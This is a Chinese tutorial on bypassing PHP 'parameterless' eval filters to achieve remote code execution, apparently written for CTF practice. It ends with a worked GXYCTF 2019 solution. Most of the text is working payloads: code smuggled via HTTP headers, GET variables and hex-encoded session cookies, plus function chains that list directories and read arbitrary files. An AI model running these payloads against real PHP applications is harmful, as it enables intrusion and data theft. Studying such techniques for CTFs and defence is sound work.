一.什么是无参数
顾名思义,就是只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等
无参数题目特征
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
eval($_GET['star']);
}
代码解析
这里使用preg_replace
替换匹配到的字符为空,\w
匹配字母、数字和下划线,等价于 [^A-Za-z0-9_]
,然后(?R)?
这个意思为递归整个匹配模式
eg:
[^\W]+\(?\)匹配到"a()"形式的字符串,但是()不能内出现任何参数(?R)代表递归,即a(b(c()))都能匹配到
使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号 ;
,而最终结果强等于;时,payload才能进行下一步。简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的。
无参数命令执行(RCE)
既然传入的code
值不能含有参数,那我们可不可以把参数放在别的地方,code
用无参数函数来接收参数呢?这样就可以打破无参数函数的限制
HTTP 请求标头
首先想到headers
,因为headers
我们用户可控
用到的函数:
getallheaders()
(局限于Apache apache_request_headers()和getallheaders()功能相似,可互相替代,不过也是局限于Apache)
获取所有 HTTP 请求标头
pos()
把第一项的值显示出来
eg: ?code=print_r(pos(getallheaders()))
end()
把最后一项的值显示出来
eg: ?code=print_r(end(getallheaders()))
还没有做到这个方法的题
先借用一下别人的图
sky是自己添加的请求头, end()指向最后一行的sky后的代码,达到phpinfo的目的,然后可以进一步去rce。
var_dump(end(getallheaders()));
eval(end(getallheaders()));
全局变量RCE
函数
get_defined_vars()
返回所有已定义变量的值,所组成的数组
返回数组顺序为GET->POST->COOKIE->FILES
?star=print_r(get_defined_vars());
我们加个pos()让他显示第一行 显示我们的get请求
?star=print_r(pos(get_defined_vars()));
?star=print_r(pos(get_defined_vars()));&cmd=system('ls');
在后面再自定义一个变量
再用end()函数显示最后一个值
?star=print_r(end(pos(get_defined_vars())));&cmd=system('ls');
把print_r换成eval,assert即可执行命令system('ls');
session
session_start()
启动新会话或者重用现有会话,成功开始会话返回TRUE,反之返回 FALSE
?star=print_r(session_start());
?star=print_r(session_id(session_start()));
返回PHPSESSID的值
?star=show_source(session_id(session_start()));
print_r修改为show_source()
用Burp suite修改PHPSESSID的值为./flag
用show_source读取flag文件源代码
但是phpsession不允许()出现
我们自己手动对命令进行十六进制编码,后面在用函数hex2bin()解码转回去,使得后端实际接收到的是恶意代码。我们把想要执行的命令进行十六进制编码后,替换掉‘Cookie:PHPSESSID=’后面的值
以下是十六进制编码脚本:
<?php
$encoded = bin2hex("phpinfo();");
echo $encoded;
?>得到phpinfo();的十六进制编码,即706870696e666f28293b
那么payload就可以是:
?参数=eval(hex2bin(session_id(session_start())));
同时更改cookie后的值为想执行的命令的十六进制编码
参考无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客
scandir()文件读取
一些函数学习
scandir()-列出指定路径中的文件和目录(PHP 5,PHP 7,PHP 8)
比如里面加个'.'就是读取当前路径中的文件和目录
getcwd()- 取得当前工作目录(PHP 4, PHP 5, PHP 7, PHP 8)
类似与linux里面的pwd
current()- 返回数组中的当前值(PHP 4, PHP 5, PHP 7, PHP 8)
next()- 将数组中的内部指针向前移动(PHP 4,PHP 5,PHP 7,PHP 8)
array_reverse()- 返回单元顺序相反的数组(PHP 4,PHP 5,PHP 7, PHP 8)
array _flip()- 交换数组中的键和值(PHP 4, PHP 5, PHP 7,PHP 8)
array_rand() - 从数组中随机取出一个或多个随机键
dirname()
函数返回路径中的目录部分。
chdir() -系统调用函数(同cd),用于改变当前工作目录
改变成功返回1
strrev()-用于反转给定的字符串
crypt()一用来加密,目前Linux平台上加密的方法大致有MD5,DES,3 DES
hebrevc()-把希伯来文本从右至左的流转换为左至右的流
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
localeconv() 函数会返回以下数组元素:
- [decimal_point] - 小数点字符
- [thousands_sep] - 千位分隔符
- [int_curr_symbol] - 货币符号 (例如:USD)
- [currency_symbol] - 货币符号 (例如:$)
- [mon_decimal_point] - 货币小数点字符
- [mon_thousands_sep] - 货币千位分隔符
- [positive_sign] - 正值字符
- [negative_sign] - 负值字符
- [int_frac_digits] - 国际通用小数位
- [frac_digits] - 本地通用小数位
- [p_cs_precedes] - 如果货币符号在一个正数值之前显示,则为 True(1),如果在正数值之后显示,则为 False(0)
- [p_sep_by_space] - 如果在货币符号和正数值之间包含空格,则为 True(1),否则为 False(0)
- [n_cs_precedes] - 如果货币符号在一个负数值之前显示,则为 True(1),如果在负数值之后显示,则为 False(0)
- [n_sep_by_space] - 如果在货币符号和负数值之间包含空格,则为 True(1),否则为 False(0)
- [p_sign_posn] - 格式化选项:
查看当前目录文件
?star=print_r(localeconv());
这里只需要用到这里第一个是'.'
用current()函数就能构造出来这个点了
?star=print_r(current(localeconv()));
再结合scandir()函数就能看到当前目录的文件
?star=print_r(scandir(current(localeconv())));
然后根据我们上面所学的current()函数,array_reverse()函数,next()函数就可以得到我们想看到的任意文件
再用show_source查看文件内容
就可以做到当前路径文件任意读取
法二:
可以使用getcwd()
?star=print_r(scandir(getcwd()));
同上 也可以做到同样的效果
查看上级目录文件
?star=print_r(dirname(getcwd()));
通过dirname()得到上级文件的绝对路径
?star=print_r(scandir(dirname(getcwd())));
再用scandir()就可以看到我们当前路径的文件
?star=show_source(end(scandir(dirname(getcwd()))));
但是在这里show_source()是看不到的
原因是我们所在的当前目录下 并没有上一级目录下的文件
我们必须要进入上一级目录
才能show_source这里的文件
这里就要用到上面的chdir()函数了
?star=print_r(chdir(dirname(getcwd())));
这里就成功进入上一级目录
用dirname()构造“.”
?star=show_source(pos(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
那么 问题来了
如果我们要读取的文件既不是第一个也不是最后一个也不是倒数第二个 也不是第二个
那我们怎么实现任意文件读取呢?
任意文件读取
我们可以用array _rand()array_flip()两个函数
array_flip()函数实现交换数组中的键和值
array _rand()函数 随机生成键
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))))
查看根目录文件
查看根目录只需要构造出'/'就可以
先用arrary()函数 创建数组 它回显的也是arrary()
然后将它序列化
再加密
就会随机出现尾部位置我们想要的/
?star=print_r(crypt(serialize(array())));
然后用strrev()函数反转巴黎
那我们怎么得到它的第一个字符呢?
ord()函数和 chr() 函数
只能对第一个字符进行转码
ord() 编码, chr()解码
?star=print_r(chr(ord(strrev(crypt(serialize(array()))))));
这样就能成功得到我们想要的/了
?star=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
成功查看出我们想要的根目录文件
?star=show_source(array_randarray_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));
这里随机的不确定性因素很多
可以用bp爆破一下
跑个1000次
就肯定能出来了
例题
[GXYCTF 2019]禁止套娃
打开先用dirsearch扫一下
发现是有git源码泄露
用githack还原一下
python GitHack.py http://node4.anna.nssctf.cn:28038/.git
得到源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
我们通过源码知道
flag直接是在当前目录
直接查看当前目录里的flag就ok
payload:?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
这里et被过滤了 getallheaders() get_defined_vars()函数被过滤了
不能用http请求头 和全局变量
但是这题已知文件名 并且无需编码